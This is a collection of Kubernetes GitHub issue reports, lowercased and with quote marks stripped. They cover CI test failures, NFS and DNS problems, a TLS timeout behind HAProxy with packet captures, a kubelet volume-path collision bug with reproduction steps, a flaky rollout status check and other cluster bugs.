<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  ci-kubernetes-e2e-gci-gce-alpha-features  in  sig-release-master-blocking gce-cos-master-alpha-features  https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-alpha-features \r \r   which test s  are failing  :\r   sig-storage  csi mock volume csi workload information using mock driver  feature:csidriverregistry  should not be passed when csidriver does not exist \r \r   since when has it been failing  :\r 2019-02-27   build 28001  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/28001   -- since it was added\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-alpha-features\r \r   reason for failure  :\r timeout:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/csi_mock_volume.go:293\r failed to start pod: timed out waiting for the condition\r expected error:\r     < errors.errorstring | 0xc0002b4a60>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/csi_mock_volume.go:306\r    \r \r   anything else we need to know  :\r -  triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gci-gce-alpha-features&test=should%20not%20be%20passed%20when%20csidriver%20does%20not%20exist \r \r   / /milestone v1.14\r \r cc @smourapina @alejandrox1 @mortent @kacole2 \r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r n/a\r \r   which test s  are failing  :\r \r     should support configurable pod resolv.conf\r \r   since when has it been failing  :\r \r n/a\r \r   testgrid link  :\r \r n/a\r \r   reason for failure  :\r \r since   dnsmasq   is a linux specific binary, the tests which are using it cannot pass on windows. this could be resolved if   coredns   was used instead.\r \r   anything else we need to know  :\r \r  

gci test failing:  kubernetes-e2e-gci-gce-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 0 pods per node   https://k8s-testgrid.appspot.com/google-gce gci-gce-serial-release-1.3

relevant test failures: https://github.com/kubernetes/kubernetes/issues/33401  i ran the e2e that \ create a pv and a pre-bound pvc: test write access\  and it fails on gci.  i debugged a bit and figured that the mount command is failing -       shell sep 24 21:17:31.083: info: at 2016-09-24 21:11:05 -0700 pdt - event for write-pod-1mzyy: {kubelet e2e-test-vishnuk-minion-group-jo 4u} failedmount: mountvolume.setup failed for volume \ kubernetes.io/nfs/13fd01f0-82d6-11e6-959f-42010af00002-nfs-1nmbf\   spec.name : \ nfs-1nmbf\   pod \ 13fd01f0-82d6-11e6-959f-42010af00002\   uid: \ 13fd01f0-82d6-11e6-959f-42010af00002\   with: mount failed: exit s tatus 32 mounting arguments: 10.180.0.10:/exports /var/lib/kubelet/pods/13fd01f0-82d6-11e6-959f-42010af00002/volumes/kubernetes.io~nfs/nfs- 1nmbf nfs    output: mount: wrong fs type, bad option, bad superblock on 10.180.0.10:/exports,        missing codepage or helper program, or other error         for several filesystems  e.g. nfs, cifs  you might        need a /sbin/mount.<type> helper program          in some cases useful info is found in syslog - try        dmesg | tail or so.      looking at the kernel logs, i got the following information:      text sep 25 04:10:26 e2e-test-vishnuk-minion-group-jo4u kernel: rpc: registered named unix socket transport module. sep 25 04:10:26 e2e-test-vishnuk-minion-group-jo4u kernel: rpc: registered udp transport module. sep 25 04:10:26 e2e-test-vishnuk-minion-group-jo4u kernel: rpc: registered tcp transport module. sep 25 04:10:26 e2e-test-vishnuk-minion-group-jo4u kernel: rpc: registered tcp nfsv4.1 backchannel transport module. sep 25 04:10:26 e2e-test-vishnuk-minion-group-jo4u kernel: installing knfsd  copyright  c  1996 okir@monad.swb.de . sep 25 04:10:26 e2e-test-vishnuk-minion-group-jo4u kernel: nfsd: attempt to initialize umh client tracking in a container ignored. sep 25 04:10:26 e2e-test-vishnuk-minion-group-jo4u kernel: nfsd: attempt to initialize legacy client tracking in a container ignored. sep 25 04:10:26 e2e-test-vishnuk-minion-group-jo4u kernel: nfsd: unable to initialize client recovery tracking!  -22  sep 25 04:10:26 e2e-test-vishnuk-minion-group-jo4u kernel: nfsd: starting 10-second grace period  net ffff8801e8941840       i looked at the nfs server logs and found the following:      serving /exports rpcinfo: can't contact rpcbind: : rpc: unable to receive; errno = connection refused starting rpcbind exportfs: /exports does not support nfs export nfs started      i'd like to know if this is a test setup issue or a base image issue? nfs has been confirmed to be working on gci by other users of gci. even then, i'd like to understand the reason for the nfs pv test failure in gci.  cc @matchstick @saad-ali @kubernetes/sig-storage @thockin @amey-d

kubeadm version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.0.1534+cf7301f16c0363-dirty\ , gitcommit:\ cf7301f16c036363c4fdcb5d4d0c867720214598\ , gittreestate:\ dirty\ , builddate:\ 2016-09-27t18:10:39z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }    what happened  :  i ran: sudo kubeadm init --service-cidr 172.16.128.0/24  the kube-dns service picks 172.16.128.10 and functions properly there, but pods created use the 100.64.0.10 address space to try and talk to kube-dns and fails. the wrong address is placed in /etc/systemd/system/kubelet.service.d/10-kubeadm.conf    what you expected to happen  : pods launch with a correct resolv.conf pointing to a kube-dns in the specified range.    how to reproduce it    as minimally and precisely as possible : kubeadm init --service-cidr <with any non default subnet>  launch a non net=host pod, and try to resolve a service.

i was reading https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util/operationexecutor/operation_executor.go l265 and https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util/operationexecutor/operation_executor.go l303 and it didn't sit right with me.  the path now includes names from two different sources, which means it can collide.  can i make it collide?\r \r tl;dr: yes, i can.  if you follow the below steps i can cause kubelet to mis-mount the volumes in a pod, possibly leading to data corruption for users. leaked attaches for the node, and leaked pvs and cloud disks.\r \r @kubernetes/sig-storage \r \r step 1: make a pvclaim with a pv.  it doesn't matter if this is manually provisioned or automatic.  in this case i am using old-style automatic.\r \r    \r $ cat > mypvc.yaml << __eof\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: mypvc\r   annotations:\r     volume.alpha.kubernetes.io/storage-class: anything\r spec:\r   accessmodes:   \ readwriteonce\   \r   resources:\r     requests:\r       storage: 10gi\r __eof\r \r $ kubectl create -f mypvc.yaml\r    \r \r step 2: get the pv that is bound to  mypvc \r \r    \r $ kubectl get pvc myclaim -o go-template={{.spec.volumename}}; echo\r pvc-a1032d54-b71a-11e6-bedd-42010af00003\r    \r \r step 3: create a persistentdisk in teh gce control ui.  it doesn't matter what you call it.  ic alled it \ test\ .\r \r step 4: run a pod that mounts both  mypvc  and  test  pds.  i picked a specific  nodename  for easier proof.\r \r    \r $ cat > pod-good.yaml << __eof\r apiversion: v1\r kind: pod\r metadata:\r   name: pod-good\r spec:\r   nodename: kubernetes-minion-group-jp30\r   containers:\r   - name: busybox\r     image: busybox\r     command:\r     - sh\r     - -c\r     - while true; do sleep 3600; done\r     volumemounts:\r     - name: mypvc\r       mountpath: /vol/mypvc\r     - name: mypd\r       mountpath: /vol/mypd\r   volumes:\r   - name: mypvc\r     persistentvolumeclaim:\r       claimname: mypvc\r   - name: mypd\r     gcepersistentdisk:\r       pdname: test\r __eof\r \r $ kubectl create -f pod-good.yaml\r    \r \r step 5: ssh to the node and look in /var/lib/kubelet/pods/{uid}/volumes/kubernetes.io~gce-pd.  this is all working as intended.\r \r    \r $ ls /var/lib/kubelet/pods/ce1e2875-b71c-11e6-bedd-42010af00003/volumes/kubernetes.io~gce-pd\r mypd  pvc-a1032d54-b71a-11e6-bedd-42010af00003\r    \r \r step 6: tear down that pod and create trouble.  specifically, name your manual pd the same name as the underlying pv to which  mypvc  was bound.\r \r    \r $ kubectl delete pod pod-good\r \r $ cat > pod-bad.yaml << __eof\r apiversion: v1\r kind: pod\r metadata:\r   name: pod-bad\r spec:\r   nodename: kubernetes-minion-group-jp30\r   containers:\r   - name: busybox\r     image: busybox\r     command:\r     - sh\r     - -c\r     - while true; do sleep 3600; done\r     volumemounts:\r     - name: mypvc\r       mountpath: /vol/mypvc\r     - name: pvc-a1032d54-b71a-11e6-bedd-42010af00003\r       mountpath: /vol/mypd\r   volumes:\r   - name: mypvc\r     persistentvolumeclaim:\r       claimname: mypvc\r   - name: pvc-a1032d54-b71a-11e6-bedd-42010af00003\r     gcepersistentdisk:\r       pdname: test\r __eof\r \r $ kubectl create -f pod-bad.yaml\r    \r \r note that the only thing that changed here is the pod name and the name of the pd volume block.\r \r step 7: ssh to the node and look in /var/lib/kubelet/pods/{uid}/volumes/kubernetes.io~gce-pd.  it's broken.\r \r    \r $ ls /var/lib/kubelet/pods/79f69496-b71c-11e6-bedd-42010af00003/volumes/kubernetes.io~gce-pd\r pvc-a1032d54-b71a-11e6-bedd-42010af00003\r    \r \r it should have 2 dirs, but it only has 1.  if you write to the mounts within the pod, they are the same backing store - writes in one dir appear in the other.\r \r fundamentally the problem is that we used a name that is guaranteed unique within the pod  .spec.volumes  .name  and mixed it with a name that is guaranteed unique in another scope  all pvs .  we simply must not do this.  ever.  in this case, it's unlikely that i would \ accidentally\  collide with an auto-provisioned name, but i could very easily collide with manually provisioned pvs.   the path  /var/lib/kubelet/pods/{uid}/volumes/   must contain names from the pod's point of view.  the path  /var/lib/kubelet/plugins  is where plugin-specific names can live.\r \r kubelet seems to  from logs  pick one and ignore the other, but i wouldn't trust this behavior if it is accidental.  there does seem to be an event logged:\r \r \ failedmount\  says  unable to mount volumes for pod \ mypod-5_default 11a27117-b722-11e6-bedd-42010af00003 \ : timeout expired waiting for volumes to attach/mount for pod \ mypod-5\ /\ default\  \r \r and \r \r \ failedsync\  says  error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ mypod-5\ /\ default\  \r \r ...but i find nothing in kubelet's logfile.\r \r finally, cleaning all this up, the pv seems to have leaked and is not being cleaned up.  maybe i triggered a refcount issue in a controller - not surprising.  logs:\r \r    \r i1130 17:41:39.524456       5 pv_controller.go:1155  isvolumereleased pvc-a1032d54-b71a-11e6-bedd-42010af00003 : volume is released\r i1130 17:41:39.721225       5 gce_util.go:63  error deleting gce pd volume kubernetes-dynamic-pvc-a1032d54-b71a-11e6-bedd-42010af00003: googleapi: error 400: the disk resource 'kubernetes-dynamic-pvc-a1032d54-b71a-11e6-bedd-42010af00003' is already being used by 'kubernetes-minion-group-jp30', resourceinusebyanotherresource\r    \r \r the \ test\  volume was detached but the auto-provisioned one was not.  rectification failure.\r \r update: a few minutes later:\r \r    \r i1130 17:45:30.518982       5 reconciler.go:172  started detachvolume for volume \ kubernetes.io/gce-pd/kubernetes-dynamic-pvc-a1032d54-b71a-11e6-bedd-42010af00003\  from node \ kubernetes-minion-group-jp30\ . this volume is not safe to detach, but maxwaitforunmountduration 6m0s expired, force detaching\r i1130 17:45:32.021565       5 attacher.go:127  volumesareattached: check volume \ kubernetes-dynamic-pvc-a1032d54-b71a-11e6-bedd-42010af00003\   specname: \ mypv\   is no longer attached\r i1130 17:45:32.021664       5 operation_executor.go:564  verifyvolumesareattached determined volume \ kubernetes.io/gce-pd/kubernetes-dynamic-pvc-a1032d54-b71a-11e6-bedd-42010af00003\   spec.name: \ mypv\   is no longer attached to node %!q missing , therefore it was marked as detached.\r i1130 17:45:34.079203       5 operation_executor.go:699  detachvolume.detach succeeded for volume \ kubernetes.io/gce-pd/kubernetes-dynamic-pvc-a1032d54-b71a-11e6-bedd-42010af00003\   spec.name: \ mypv\   from node \ kubernetes-minion-group-jp30\ .\r i1130 17:45:39.530962       5 pv_controller.go:1155  isvolumereleased pvc-a1032d54-b71a-11e6-bedd-42010af00003 : volume is released\r i1130 17:45:42.975547       5 gce_util.go:68  successfully deleted gce pd volume kubernetes-dynamic-pvc-a1032d54-b71a-11e6-bedd-42010af00003\r i1130 17:45:42.975595       5 pv_controller.go:1191  volume \ pvc-a1032d54-b71a-11e6-bedd-42010af00003\  deleted\r    \r \r so the volume was eventually force-detached, which is ok here since it never mounted, but sort of scary.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : kind of.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : haproxy, tls, ssl, client hello, server hello, tls handshake timeout\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.0, 1.5.1, 1.5.2, 1.5.3-beta.0, 1.6.0-alpha.1\r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : fedora 24  cloud edition \r -   kernel    e.g.  uname -a  : linux 4.8.15-200.fc24.x86_64  1 smp thu dec 15 23:09:22 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : openstack heat, cloud-init\r -   others  : non-k8s-managed haproxy load balancer  no https termination  in front of the kubernetes api with attached floating ip\r \r   what happened  :\r \r any kubectl commands that go through the haproxy lb result in \ unable to connect to the server: net/http: tls handshake timeout\ . using curl directly shows curl getting to the \ sslv3, tls handshake, client hello  1 :\  step, and then waiting for \ sslv3, tls handshake, server hello  2 :\ , which never comes.\r \r the interesting thing is, this only happens when making a request through the lb  via the floating ip  from outside one of the nodes in the kubernetes cluster, when kube-apiserver is v1.5+. that is,\r \r - when making a request to kube-apiserver v1.4  tested with 1.4.4, 1.4.8 , it works.\r - or, when the floating ip is associated directly with the master node  not going through the lb , it works.\r - or, when making a request from within  logged into  a master/minion to the lb, it works.\r \r   what you expected to happen  : i expected kubectl to be able to communicate with the apiserver.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r - create a vm and set up devstack  http://docs.openstack.org/developer/devstack/  with lbaas v2 enabled  http://docs.openstack.org/developer/devstack/guides/devstack-with-lbaas-v2.html \r - create a neutron network and subnet.\r - create neutron port on that network.\r - create a nova server, specifying the port created previously.\r - set up kubernetes on the server with tls enabled.\r - create a neutron lbaas v2 load balancer on the subnet created previously.\r - create a pool for the load balancer.\r - add a lbaas v2 member to the pool, using the ip of the port created previously and the port number the kubernetes api will be listening on.\r - create a lbaas v2 listener for the load balancer, specifying https  not https_terminated  and the port the kubernetes api will be listening on.\r - create a floating ip on the \ public\  neutron network automatically created by devstack and associate it with the vip port of the load balancer.\r - send a request to the api using curl   curl -vv -k https://{floating ip}:{k8s secure port}  \r \r   anything else do we need to know  :\r \r i have used openssl's s_server to listen on the master and i can communicate both ways, so i'm pretty sure this isn't a networking problem, but some odd way that haproxy and kube-apiserver are interacting with each other, since it works with older versions of kube-apiserver and also with requests through haproxy that originate from within the master node.\r \r i've captured some packets.\r \r client side, going through the lb's floating ip:\r \r    \r 04:42:09.923895 ip 172.24.4.1.44132 > 172.24.4.5.6443: flags  s , seq 1237812882, win 29200, options  mss 1460,nop,wscale 10 , length 0\r 04:42:09.924381 ip 172.24.4.5.6443 > 172.24.4.1.44132: flags  s. , seq 175254992, ack 1237812883, win 29200, options  mss 1460,nop,wscale 4 , length 0\r 04:42:09.924423 ip 172.24.4.1.44132 > 172.24.4.5.6443: flags  . , ack 1, win 29, length 0\r 04:42:09.924915 ip 172.24.4.1.44132 > 172.24.4.5.6443: flags  p. , seq 1:274, ack 1, win 29, length 273\r 04:42:09.924993 ip 172.24.4.5.6443 > 172.24.4.1.44132: flags  . , ack 274, win 1892, length 0\r 04:42:09.947559 ip 172.24.4.5.6443 > 172.24.4.1.44132: flags  p. , seq 1461:1749, ack 274, win 1892, length 288\r 04:42:09.947580 ip 172.24.4.1.44132 > 172.24.4.5.6443: flags  . , ack 1, win 30, length 0\r   hangs at this point\r    \r \r server side, going through the lb's floating ip:\r \r    \r node = be6ea502-7610-4d32-9aab-84c44a269292-master-0.sun-sr-https\r lb = 10.0.0.3\r 10:10:50.019717 ip lb.54340 > node: flags  s , seq 2609801294, win 29200, options  mss 1460,nop,wscale 4 , length 0\r 10:10:50.019809 ip node > lb.54340: flags  s. , seq 2355417994, ack 2609801295, win 28200, options  mss 1410,nop,wscale 7 , length 0\r 10:10:50.020042 ip lb.54340 > node: flags  . , ack 1, win 1825, length 0\r 10:10:50.020462 ip lb.54340 > node: flags  p. , seq 1:274, ack 1, win 1825, length 273\r 10:10:50.020492 ip node > lb.54340: flags  . , ack 274, win 229, length 0\r 10:10:50.042316 ip node > lb.54340: flags  p. , seq 1:1749, ack 274, win 229, length 1748\r 10:10:50.042518 ip lb.54340 > node: flags  . , ack 1749, win 2044, length 0\r   hangs at this point\r    \r \r client side, directly to master node  no lb :\r \r    \r 04:24:00.683745 ip 172.24.4.1.51321 > 172.24.4.3.6443: flags  s , seq 2551946840, win 29200, options  mss 1460,nop,wscale 10 , length 0\r 04:24:00.684351 ip 172.24.4.3.6443 > 172.24.4.1.51321: flags  s. , seq 1350250882, ack 2551946841, win 28200, options  mss 1410,nop,wscale 7 , length 0\r 04:24:00.684400 ip 172.24.4.1.51321 > 172.24.4.3.6443: flags  . , ack 1, win 29, length 0\r 04:24:00.684997 ip 172.24.4.1.51321 > 172.24.4.3.6443: flags  p. , seq 1:274, ack 1, win 29, length 273\r 04:24:00.685129 ip 172.24.4.3.6443 > 172.24.4.1.51321: flags  . , ack 274, win 229, length 0\r 04:24:00.707837 ip 172.24.4.3.6443 > 172.24.4.1.51321: flags  p. , seq 1:1749, ack 274, win 229, length 1748\r 04:24:00.707870 ip 172.24.4.1.51321 > 172.24.4.3.6443: flags  . , ack 1749, win 32, length 0\r   does not hang here, unlike going through the lb\r 04:24:00.709099 ip 172.24.4.1.51321 > 172.24.4.3.6443: flags  p. , seq 274:412, ack 1749, win 32, length 138\r 04:24:00.709565 ip 172.24.4.3.6443 > 172.24.4.1.51321: flags  p. , seq 1749:1800, ack 412, win 238, length 51\r 04:24:00.709868 ip 172.24.4.1.51321 > 172.24.4.3.6443: flags  p. , seq 412:520, ack 1800, win 32, length 108\r 04:24:00.710373 ip 172.24.4.3.6443 > 172.24.4.1.51321: flags  p. , seq 1800:2002, ack 520, win 238, length 202\r 04:24:00.710599 ip 172.24.4.1.51321 > 172.24.4.3.6443: flags  p. , seq 520:551, ack 2002, win 35, length 31\r 04:24:00.710693 ip 172.24.4.1.51321 > 172.24.4.3.6443: flags  f. , seq 551, ack 2002, win 35, length 0\r 04:24:00.711006 ip 172.24.4.3.6443 > 172.24.4.1.51321: flags  p. , seq 2002:2033, ack 552, win 238, length 31\r 04:24:00.711060 ip 172.24.4.1.51321 > 172.24.4.3.6443: flags  r , seq 2551947392, win 0, length 0\r 04:24:00.711108 ip 172.24.4.3.6443 > 172.24.4.1.51321: flags  f. , seq 2033, ack 552, win 238, length 0\r 04:24:00.711135 ip 172.24.4.1.51321 > 172.24.4.3.6443: flags  r , seq 2551947392, win 0, length 0\r    \r \r server side, directly to master node  no lb :\r \r    \r node = be6ea502-7610-4d32-9aab-84c44a269292-master-0.sun-sr-https\r 10:11:44.740258 ip 172.24.4.1.23736 > node: flags  s , seq 2749273659, win 29200, options  mss 1460,nop,wscale 10 , length 0\r 10:11:44.740341 ip node > 172.24.4.1.23736: flags  s. , seq 3758752705, ack 2749273660, win 28200, options  mss 1410,nop,wscale 7 , length 0\r 10:11:44.740560 ip 172.24.4.1.23736 > node: flags  . , ack 1, win 29, length 0\r 10:11:44.741093 ip 172.24.4.1.23736 > node: flags  p. , seq 1:274, ack 1, win 29, length 273\r 10:11:44.741132 ip node > 172.24.4.1.23736: flags  . , ack 274, win 229, length 0\r 10:11:44.763039 ip node > 172.24.4.1.23736: flags  p. , seq 1:1749, ack 274, win 229, length 1748\r 10:11:44.763125 ip 172.24.4.1.23736 > node: flags  . , ack 1749, win 32, length 0\r   does not hang here, unlike going through the lb\r 10:11:44.764512 ip 172.24.4.1.23736 > node: flags  p. , seq 274:412, ack 1749, win 32, length 138   first packet that's different\r 10:11:44.764802 ip node > 172.24.4.1.23736: flags  p. , seq 1749:1800, ack 412, win 238, length 51\r 10:11:44.765059 ip 172.24.4.1.23736 > node: flags  p. , seq 412:520, ack 1800, win 32, length 108\r 10:11:44.765498 ip node > 172.24.4.1.23736: flags  p. , seq 1800:2002, ack 520, win 238, length 202\r 10:11:44.765666 ip 172.24.4.1.23736 > node: flags  p. , seq 520:551, ack 2002, win 35, length 31\r 10:11:44.765714 ip 172.24.4.1.23736 > node: flags  f. , seq 551, ack 2002, win 35, length 0                                                      client is finished\r 10:11:44.765872 ip node > 172.24.4.1.23736: flags  p. , seq 2002:2033, ack 552, win 238, length 31\r 10:11:44.765906 ip node > 172.24.4.1.23736: flags  f. , seq 2033, ack 552, win 238, length 0                                                     node is finished\r 10:11:44.766007 ip 172.24.4.1.23736 > node: flags  r , seq 2749274211, win 0, length 0\r 10:11:44.766023 ip 172.24.4.1.23736 > node: flags  r , seq 2749274211, win 0, length 0\r

is this a bug report or feature request?  choose one :\r feature request\r when i need scale out one deployment,  i want to the pod created  not be bond to the node which existe this type pod. i could develope customize predicate to meet this requiement . but if use this policy，all deployment will comply with this policy，which not i wanted. \r so is there any feature that every deployments can has their own scheduling policy？\r

https://k8s-testgrid.appspot.com/1.5-1.7-upgrade gke-gci-1-5-gci-1-7-upgrade-master is failing to run the follow up e2es because the ip-masq-agent daemonset is scheduling pods that get stuck in a pending state on 1.5 nodes. this short-circuits the logic for the skewed e2es, and they never run.\r \r from https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-master/48\r \r    \r i0619 21:07:37.386  jun 19 21:07:37.386: info: the status of pod ip-masq-agent-6rzsv is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i0619 21:07:37.387  jun 19 21:07:37.386: info: the status of pod ip-masq-agent-8nl2b is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i0619 21:07:37.387  jun 19 21:07:37.386: info: the status of pod ip-masq-agent-vc1m3 is pending  ready = false , waiting for it to be either running  with ready = true  or failed\r i0619 21:07:37.387  jun 19 21:07:37.386: info: 12 / 15 pods in namespace 'kube-system' are running and ready  600 seconds elapsed \r i0619 21:07:37.388  jun 19 21:07:37.386: info: expected 6 pod replicas in namespace 'kube-system', 6 are running and ready.\r i0619 21:07:37.388  jun 19 21:07:37.386: info: pod                  node                                          phase    grace  conditions\r i0619 21:07:37.388  jun 19 21:07:37.386: info: ip-masq-agent-6rzsv  gke-bootstrap-e2e-default-pool-1e4a389d-lhgs  pending          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-19 20:45:05 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-19 20:45:05 +0000 utc containersnotready containers with unready status:  ip-masq-agent } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-19 20:47:18 +0000 utc  } \r i0619 21:07:37.388  jun 19 21:07:37.387: info: ip-masq-agent-8nl2b  gke-bootstrap-e2e-default-pool-1e4a389d-7zjd  pending          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-19 20:45:05 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-19 20:45:05 +0000 utc containersnotready containers with unready status:  ip-masq-agent } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-19 20:47:19 +0000 utc  } \r i0619 21:07:37.388  jun 19 21:07:37.387: info: ip-masq-agent-vc1m3  gke-bootstrap-e2e-default-pool-1e4a389d-7139  pending          {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-19 20:45:05 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-19 20:45:05 +0000 utc containersnotready containers with unready status:  ip-masq-agent } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-19 20:47:19 +0000 utc  } \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r when setting an image using the example command and following it up with a status check, the command incorrectly indicated that the deployment exceeded it's progress deadline.\r \r i'm using a shell script for deploys, those commands look similar to this:\r \r    bash\r kubectl set image deployments/${deployment_name} ${container_name}=${image_name}:${tag} --record\r kubectl rollout status deployments/${deployment_name} --namespace ${environment}\r if    $? != 0   \r then\r   echo \ the deploy has failed\ \r fi\r    \r \r during a deploy, sometimes the output looks like this:\r    \r deployment \ testapp\  image updated\r error: deployment \ testapp\  exceeded its progress deadline\r the deploy has failed\r    \r \r when in fact the deployment continued to work just fine.  we never hit the limit of our  progressdeadlineseconds  at all.\r \r the problem comes in that my deploy script is larger then the above.  i rely on the exit code of the  status  command to determine if if should perform a rollback.  when the  status  command runs it sometimes receives the wrong information and exits with status  1 .\r \r   what you expected to happen  :\r i expected the status to report to me the legit status of the on-going deployment.  example successful output:\r \r    \r deployment \ testapp\  image updated\r waiting for rollout to finish: 1 old replicas are pending termination...\r waiting for rollout to finish: 1 old replicas are pending termination...\r deployment \ testapp\  successfully rolled out\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a deployment with  .spec.progressdeadlineseconds  set to something reasonable, in my case it's set to  100 .   i'm using this gist for testing.  https://gist.github.com/jtslear/aecb16e73254a6e864cde274c6b0332b \r 1. in one terminal execute:  while true; do kubectl rollout status deploy/testapp; done \r 1. in another terminal update the deployment, example in my case:  kubectl set image deploy/testapp testapp=jtslear/testapp:0.0.15 \r \r \r   anything else we need to know?  :\r this is flakey.  i've seen this in our production clusters only a few times, and even recreating it is rather tricky.  i've had to repeat the steps above a couple of times before i ran into it.\r \r to work around this, i've added a 3 second sleep between the  set  and  status  commands.\r \r   environment  :\r - kubernetes version  use  kubectl version  : seen on versions 1.7.0 and 1.7.1\r - cloud provider or hardware configuration  : minikube/gke\r - os  e.g. from /etc/os-release : \r   - gke: cos, build: 9460.64.0 version: 59\r   - minikube: buildroot, version 2017.02\r - kernel  e.g.  uname -a  :\r   - gke:  linux gke-production-pool-1-7-1-2a195619-19nh 4.4.52+  1 smp thu jun 15 15:23:01 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.20ghz genuineintel gnu/linux \r   - minikube:  linux minikube 4.9.13  1 smp tue jul 18 22:17:02 utc 2017 x86_64 gnu/linux \r - install tools: minikube/gke\r - others:\r

using this issue to track outstanding dev work that needs to be completed before ipvs goes ga. \r \r -  x  address open bugs \r     -  x   60257\r     -  x   60305\r     -  x   59656\r     -  x   59507\r     -  x   59976\r     -  x   59505\r     -  x   60688\r -  x  address open pr's \r     -  x   52528\r     -  x   59632\r     -  x   58052\r -  x  address test failures\r     -  x   61328\r     -  x   61090\r     -  x   61938 \r     -  x   63351\r -  x  resolve kernel module loading \r     -  x   59402\r \r /area ipvs\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r namespace disappears in the output of \r  kubectl get pods --all-namespaces \r    \r namespace       name                       ready     status             restarts   age\r              kube-dns-ffd85c78c-g78mw       2/3       crashloopbackoff   19         15m\r    \r \r   what you expected to happen  :\r namespace exists\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r it is related to  61477 \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  : pod stuck in terminating state.\r \r   what you expected to happen  : pod successfully cleaned up.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. set up a limitrange.  say \ limits:\r     - defaultrequest:\r         cpu: 100m\r       type: container\  \r 2. install a mutating webhook on pod which creates an additional container on the pod  eg. https://istio.io/docs/setup/kubernetes/sidecar-injection.html automatic-sidecar-injection  without the limit range.\r 3. create a pod with foreground deletion finalizer.\r 4. notice that you have a pod with 2 containers. the 1 you created which now has a limit and the istio container which does not.\r 5. try to delete the pod.\r 6. the garbage collector tries to update the pod to remove the finalizer, however this triggers the limit range admission control to add the limit to the istio container. this then causes the api server to get the error \ invalid: spec: forbidden: pod updates may not change fields other than  spec.containers   .image ,  spec.initcontainers   .image ,  spec.activedeadlineseconds  or  spec.tolerations \ \r 7. notice the pod is now stuck in terminating.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.6\r \r 

